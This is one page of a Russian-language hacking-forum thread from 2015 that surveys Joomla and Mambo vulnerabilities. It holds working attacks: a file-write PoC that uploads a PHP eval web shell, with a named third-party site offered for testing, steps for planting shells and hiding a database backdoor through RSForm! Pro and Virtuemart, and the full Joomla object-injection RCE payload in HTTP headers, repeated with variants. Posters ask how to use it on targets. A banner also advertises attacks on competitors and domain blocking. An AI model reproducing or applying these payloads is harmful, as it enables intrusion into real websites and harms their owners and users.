Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Страница 31 из 37

« Первая

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#301

18.11.2015, 15:37

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Joomla "mod_fxprev"

modules/mod_fxprev/libraries/tmpl.php

Уязвимый участок кода:

Цитата:

Сообщение от None

$basepath = str_replace('/modules/mod_fxprev/libraries/tmpl.php','',$_SERVER['SCRIPT_FILENAME']) ;
$hostname = $_SERVER['HTTP_HOST'];
$action = $_POST['action'];
$file = $_POST['file'];
$data = base64_decode($_POST['data']);
$tmpdir = $_POST['tmpdir'];
...
} else if ($action == 'create') {
$ftime = filemtime("$basepath/components/com_content");
echo file_put_contents($file, $data);
touch("$basepath/components/com_content", $ftime, $ftime);
touch("$basepath/components/com_content/article.php", $ftime, $ftime);
}

POC:

Цитата:

Сообщение от None

POST: action=create&file=shell.php&data=PD9waHAgZXZhbCgk X1BPU1RbJ2lkJ10pOyA/Pg==

для тестов:

Цитата:

Сообщение от None

_ttp://arabica.com.au/oldfile/modules/mod_fxprev/mod_fxprev.xml
_ttp://arabica.com.au/oldfile/modules/mod_fxprev/libraries/tmpl.php

#302

05.12.2015, 19:33

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Заливка шелла через RSForm! Pro тестировал на версии 1.50.0

Требуются админские права!!!

В админке переходим: Компоненты-> RSForm! Pro -> Управление формами -> (Выбираем любую форму) -> Свойства -> Скрипты (Сценарии выполнения программы)

в первое же поле вбиваем phpinfo(); и профит!

Скрипт выполняющий код:

administrator\components\com_rsform\helpers\rsform .php - 1981 строчка

eval($form->ScriptDisplay);

Запись для выполнения кода заносятся в таблицу JOS__rsform_forms в колонки ScriptProcess, ScriptProcess2, ScriptDisplay

Таким образом мы можем спрятать бегдор в БД!

#303

05.12.2015, 22:47

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

хм, ок))

Заливка шелла через Virtuemart, нужны права одмина или модератора, как повезет

1.Заливка с Front End

смотрим id товара с тегов, их атрибутов и тд и далее переходим по урлю ?option=com_virtuemart&tmpl=component&view=product &task=edit&virtuemart_product_id=[id]и грузим в фото товара с PHP расширением.

2. Заливка с админки

В фото товара льем свой шелл c PHP расширением.

#304

15.12.2015, 18:44

VY_CMa

Постоянный

Регистрация: 06.01.2012

Сообщений: 913

С нами: 7552406

Репутация: 724

Joomla 0day RCE (от 1.5 до 3.4)

Код:

GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive

Код:

POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d

Дисклос: https://blog.sucuri.net/2015/12/remo...in-joomla.html

PoC: http://www.freebuf.com/vuls/89754.html

#305

15.12.2015, 20:32

blackbox

Постоянный

Регистрация: 31.12.2011

Сообщений: 362

С нами: 7561046

Репутация: 11

Цитата:

Сообщение от VY_CMa

↑
Joomla 0day RCE (от 1.5 до 3.4)

Код:

GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive

Код:

POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d

Дисклос:
https://blog.sucuri.net/2015/12/remo...in-joomla.html
PoC:
http://www.freebuf.com/vuls/89754.html

А есть подробности использования? И получилось ли у кого-нибудь заюзать?

#306

15.12.2015, 20:56

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от blackbox

↑
А есть подробности использования? И получилось ли у кого-нибудь заюзать?

Код:

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð���

Запрос сробатывает со второго раза!

#307

15.12.2015, 21:06

ZodiaX

Новичок

Регистрация: 07.05.2009

Сообщений: 14

С нами: 8953911

Репутация: 0

Код:

eval(base64_decode($_POST[111]))

111 - это я так понимаю место для shell'a?

#308

15.12.2015, 21:11

VY_CMa

Постоянный

Регистрация: 06.01.2012

Сообщений: 913

С нами: 7552406

Репутация: 724

Есть POC для Metasploit: https://github.com/rapid7/metasploit...work/pull/6355

Проверено, работает.

#309

16.12.2015, 00:49

seiklm

Участник форума

Регистрация: 15.12.2015

Сообщений: 126

С нами: 5480246

Репутация: 0

Цитата:

Сообщение от winstrool

↑

Код:

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð���

Запрос сробатывает со второго раза!

А как выполнить этот запрос?

#310

16.12.2015, 12:41

aka180000

Новичок

Регистрация: 09.11.2015

Сообщений: 1

С нами: 5532086

Репутация: 0

Народ, а кто нибудь может платно показать как работает эта уязвимость. Все вопросы в личку.

Страница 31 из 37

« Первая

Последняя »

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[Обзор уязвимостей в форумных движках]	Grey	Уязвимости CMS / форумов	49	02.04.2015 17:48
Обзор бесплатных Cms	em00s7	PHP	16	03.07.2009 13:13
Cms	Cawabunga	PHP	20	05.08.2007 00:31

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход